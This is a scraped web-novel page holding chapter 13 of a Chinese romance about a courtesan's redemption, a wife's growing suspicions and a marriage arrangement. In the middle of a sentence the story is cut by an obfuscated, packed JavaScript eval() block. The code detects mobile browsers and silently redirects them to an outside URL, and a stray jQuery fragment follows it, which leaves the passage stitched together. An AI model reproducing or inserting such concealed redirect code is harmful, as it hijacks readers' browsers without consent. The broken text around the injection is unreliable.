文趣网 > 其他小说 > 亡妻变成弟媳回来了 > 13. 起疑心
    凭一个模糊轮廓,柏钊认出那人,紧盯着楼上,应了一声“好。”

    老鸨见他应的利索,暗悔自己要低了价。

    待回府取银票的长随气喘吁吁跑回来,柏钊接过数几张,未直接递给老鸨,冷声道:“身契。”

    老鸨忙招呼人去取。

    两方签字画押。

    素娥低着头,亦步亦趋随柏钊走出摘月楼,明亮日光照在身上,暖洋洋的,身子仍发抖,一切太突然,做梦似的。

    掐一下手心,真切的疼激出两眶喜悦泪水。

    她竟真的脱身了!

    还是被一位俊朗公子赎走的。

    恩人说的不错,到京城果然会有好运!

    远离摘月楼,柏钊停下脚步,回身将身契递还给她。

    素娥仰面,楚楚望着他,“公子?”

    “你自由了。”

    四周人声嘈杂,车马辚辚,柏钊声音淡得出口即散。

    素娥攥着身契,和她的命一样轻薄的一张纸。耳边一片嗡嗡声,唯有他的声音清晰回响,像天外传来的仙音。

    再抬眼看他,玉树之姿,风骨卓然,因背对斜阳,周身笼一层薄光,更像下凡的谪仙。

    欣喜过后是一阵犹疑,贝齿厮磨着下唇,直等到他转身要走,急急开口:“公子大恩大德,素娥无以为报,愿意为奴为婢伺候公子。”

    柏钊:“既脱离苦海,好好过日子才是。”

    “我......我无亲无故,不知该去何处,求公子收留。”

    “我不收你。”

    柏钊撂下冰冷的一句,转身离去。

    眼见仙人要消失人海,素娥咬了咬唇,小跑追上去。

    长随拦住她:“我家公子说一不二,姑娘莫要追了。”

    素娥呆在原地,待柏钊的身影彻底从视线中消失,身后多了一个人。

    是萧从音。

    素娥转身,歉疚垂首:“姑娘,他不肯收我。”

    “不收正好,”萧从音笑了笑,将从老鸨那里分来的银子拿出一张塞进她手里,压在身契上,“这是五十两,你去寻个落脚处,过几日.......”

    她附耳低语几句,问:“记住了?”

    素娥:“这样会不会......”

    她想说不大妥。

    萧从音:“事成我给你余下的四百两,足够你做个营生维持生计。”

    素娥盯着银票的面额,目光逐渐坚定,“我听姑娘的。”

    事情进展出乎意料地顺利,萧从音心情奇佳,没直接回府,反往太学院等谢谦。

    未到散学时辰,明晃晃站在门口太招眼,遂钻入近处的书铺里消磨时光。

    申时末,陆续有人出来,她戴好帷帽,站在书铺门前张望。

    三三两两学子结伴并行,谢谦只身孤影,身后白果抱着书箱,主仆二人一前一后,步履匆匆越过人群。

    萧从音刚要抬步,却见他们转往反方向走。

    莫非与人有约?

    但未听他说过在京城有故交。

    略一迟疑,紧两步跟上去,随着拐进窄巷,眼瞧二人走进一家书铺。

    萧从音跟进去,一个布衣伙计迎上来。

    “客官需要什么?”

    “随意看看”,她随口应一句,余光悄然扫过四下,没有那二人身影,只见柜台后的帘子微微晃动,应是通往后堂的。

    追问的话将要出口,萧从音猛然醒神。

    自己在做什么?

    她与谢谦之间,不该有怀疑和窥探的心思。

    赶走杂念,不露声色在店里逛一圈,随意买两卷书,出巷口,寻了个不惹眼的角落等。

    约莫一盏茶,谢谦带着白果出来。

    “谢郎。”萧从音挂着笑从树后走出来,单手挑开半扇帷帽的轻纱,露出浅浅梨涡和亮晶晶的眸。

    谢谦面上慌乱一闪而过,疾步上前,皱眉道:“你怎么在此处?”

    “不明显吗?来等你啊。”

    “你人生地不熟,何苦折腾一遭。”

    萧从音一扬下巴,“鼻子底下一张口,我不认路还不会问路么,走多了自然就熟了。”

    “买的书?我瞧瞧。”谢谦顺势接过她怀里抱的书册,略看两眼封面。

    不似她的偏好。

    “等你时随意翻了几页,见有趣就买了,”萧从音腾出手,将轻纱全掀到帽顶,没忍住问:“你呢,怎么从那里出来?”

    “听人说这书铺里有摘录前朝名臣议疏的孤本,”谢谦面不改色,说完转身从白果手中拿来一卷书递给萧从音,“就是这卷。”

    萧从音瞥一眼泛黄带浅淡霉痕的书封,不甚在意地“哦”一声,“难怪呢。”

    随后自然地挽上他的手臂,“我不爱看这些枯燥东西,你自个儿留着琢磨吧。”

    谢谦笑笑,将书卷一并交给白果,由她挽着往回走。

    薄暮前的天光最是宜人,凉风拂面,街上人来人往,叫卖声与说笑声交杂,烘出一片热闹的烟火气。

    两人沿街信步,说说笑笑,同寻常市井夫妻无二,惬意地令萧从音有些恍惚。

    偏头看谢谦,日光落在他眉骨上,投下一小片阴影,再往下,是一双明亮沉静的漂亮眼睛。

    “看什么呢?”谢谦嘴上发问,唇角已不自觉勾起,脸也完全扭过来,大大方方让她看。

    “看你长得俊呀。”萧从音语气轻快,“谢郎这张脸,多看一眼都是赚的。”

    回到国公府,至二门,远远就见清荷又是搓手打转,又是焦急张望。

    清荷一见他们,快步迎上来,“少夫人往哪里去了,可让人好找!”

    “心血来潮去等谢郎,忘了知会你,也是我从前独来独往惯了,抱歉......前次挑回来的几匹料子,你自去选一匹喜欢的做成衣裳,全当我的赔礼。”

    萧从音说的诚恳,清荷只剩无奈。

    “您下回往哪去务必交代一声,夫人传话说晚膳要一道用,已催过两回了,您快些去吧。”

    慈安堂里灯火通明。

    魏岚不耐烦地听完萧从音的“告罪”,随口应付一句“下不为例”,转问坐在下首的柏钊:“你必得等老三媳妇回来,现下她已来了,可以说了吧。”

    柏钊听萧从音说久久不归是去接谢谦,犹如泡在酸水里,内里吸足了撑得要炸开,面上被浸染得又黑又皱。

    磨牙看向她,又捕捉到几分未敛尽的欢喜。

    如此欢喜,为的是谢谦?还是撮合成了他的事?

    他心不在焉,没听到魏岚的问,直到萧从音的目光撞上来,疑惑中带着期待。

    这才回了神,“母亲说什么?”

    魏岚耐着性子又问一遍,“同和家的亲事,你究竟是何想法?”

    柏钊下巴朝萧从音的方向一抬,“全照她的意思来办。”

    这是何意?

    魏岚视线在两人身上逡巡了个来回,震惊又狐疑,“你这是同意了?”

    柏钊极轻地点了头。

    魏岚喜笑颜开,仿佛看到了从前那个听话守规矩的好儿子。

    拍着扶手连声道好,“你总算想通了。”

    当即吩咐钱妈妈遣人算日子,找媒人,要挑个最近的吉日去和家下聘。

    钱妈妈笑着提醒:“今儿个天晚了,明日一早我便去办,保管误不了事。”

    “一高兴连时辰都忘了,”魏岚笑得合不拢嘴,“吩咐厨房多添几道三少夫人爱吃的菜。”

    *

    晚间,萧从音青丝松绾趴在浴桶边缘,下巴搁在叠起的双臂上,长睫低垂,任由谢谦为她清洗方才留下的痕迹。

    身上歇了,脑海里可没歇,素娥的身影反复浮现,挥之不去。

    越想越蹊跷,偏过头,侧脸贴着手臂问谢谦:“听说郡主尸身是从火场里抢出来的,面容毁得差不多,你说......郡主会不会没有死?”

    谢谦拧帕子的动作顿住,“怎的突然问起这个?”

    “今日见到一个女子,模

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723451|208614||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    样与我像极了。”

    谢谦眉头不可察地松下来,“竟有此事?在何处见的?”

    “就......”萧从音目光闪了闪,隐去真实情形,含糊道:“大街上。”

    谢谦同样避开她,被她后背上一颗晶莹的水珠吸引,随之滑到腰窝,又没入水面。

    他的目光也沉下去,“如若真是郡主死里逃生回来,大哥一定很欢喜。”

    萧从音心说,是喜是忧还说不定呢。

    “谢郎,”她扭过身,带起两拨水花,双臂攀上他脖颈,软声唤着,“若有一日我做了你不喜的事,你会同我动气吗?”

    这一攀,谢谦半片前襟湿透,他浑不在意,含笑低头看她:“一般说这种话的,事情已做了大半了。”

    她眨眨眼,拿鼻尖蹭他下颌,撒娇地追问:“会不会嘛?”

    “换作我问你,你会吗?”谢谦反问。

    萧从音不怎么走心地摇摇头。

    但他心中已有答案,萧从音眼里揉不得沙子,她一定会。

    俯首在她唇上轻啄,笑意更深,“只要你觉得对,一切决定我都支持。”

    这一瞬,萧从音觉得自己是全天下最幸福的人,多年病弱得救,又嫁得如此好的儿郎,如今生活优渥,不愁吃穿。

    越想越窝心,旖旎情愫跟着烧起来。

    “先不洗了,抱我出去......”她贴得更紧,伏在他耳畔呵气如兰。

    指尖顺着他湿透的衣襟滑下去,挑开本就松散的腰带......

    *

    次日柏钊上值,一路上总有人在他背后交头窃窃,投来的目光异常古怪。

    到班房,刚一落座,关系亲近的同僚丁寅桥凑过来,压低声音却压不住满脸好奇。

    “文叙兄终于开窍了?”

    柏钊不解:“什么?”

    丁寅桥挤眉弄眼道:“昨日有人见你从摘月楼出来,身后还跟着美娇娘。”

    “顺路帮了个忙罢了,莫要胡猜。”柏钊眉头折起,“明日就是最后期限,寅桥兄奉命修撰的几卷可曾交付了?”

    丁寅桥脸色一垮,讪讪道:“还差些收尾。”

    柏钊随手翻开一卷书册,头也不抬道:“那便少论私事,抓紧去忙罢。”

    丁寅桥坐回去,又不死心地探头过来,好心提醒:“最后一句,文叙兄,人死不能复生,活着的人往前看没什么错,不过听闻你家太夫人在给你张罗续弦,这当口外头的事还是当心些好。”

    柏钊长在家国动乱之时,十几岁跟在父亲身边平乱,大小立下过两桩战功。

    后新君平定四海登基,他凭功绩和家世得赏,任京畿大营坐营官,负责统领营兵,操练军务。

    京防乃要职,偏他一心要娶荣王独女。

    荣王身份特殊,为防皇帝猜忌给国公府招来祸端,也为皇帝能应下请婚,柏钊提出辞官。

    同一年,朝廷开恩科,他不声不响摘得探花郎,入职翰林院成了文官。

    貌比潘安,文武双全,又是出了名的洁身自好,钟情专一,此后他便成了京城闺秀们可望不可得的梦中情郎,得了“京城第一公子”的美誉。

    成亲后常与郡主出双入对,恩爱羡煞旁人。

    三年前郡主身死的消息传开,闻者皆叹福祸相依,上天定是看他拥有的太多,要夺去最珍贵的。

    郡主仙去后,柏钊素服三年为亡妻服丧,日日形同枯槁,爱妻之名更甚。

    今日乍听闻他曾从摘月楼带姑娘出来,同僚皆不可置信。

    你一言我一语,议论的多了,又纷纷表示理解:柏钊美名吹上天终归是个男人,清心寡欲守三年,把不住寻风流再正常不过。

    官场里有的是焦头烂额的差事,除了个别与国公府敌对之辈暗自记下,寻摸着如何利用来参他一本,旁人新鲜一阵就过了。

    政敌奏本尚未送到御前,国公府门前先闹起来。

    只因素娥寻上了门,跪在石狮子旁哭得梨花带雨,口口声声讨名分。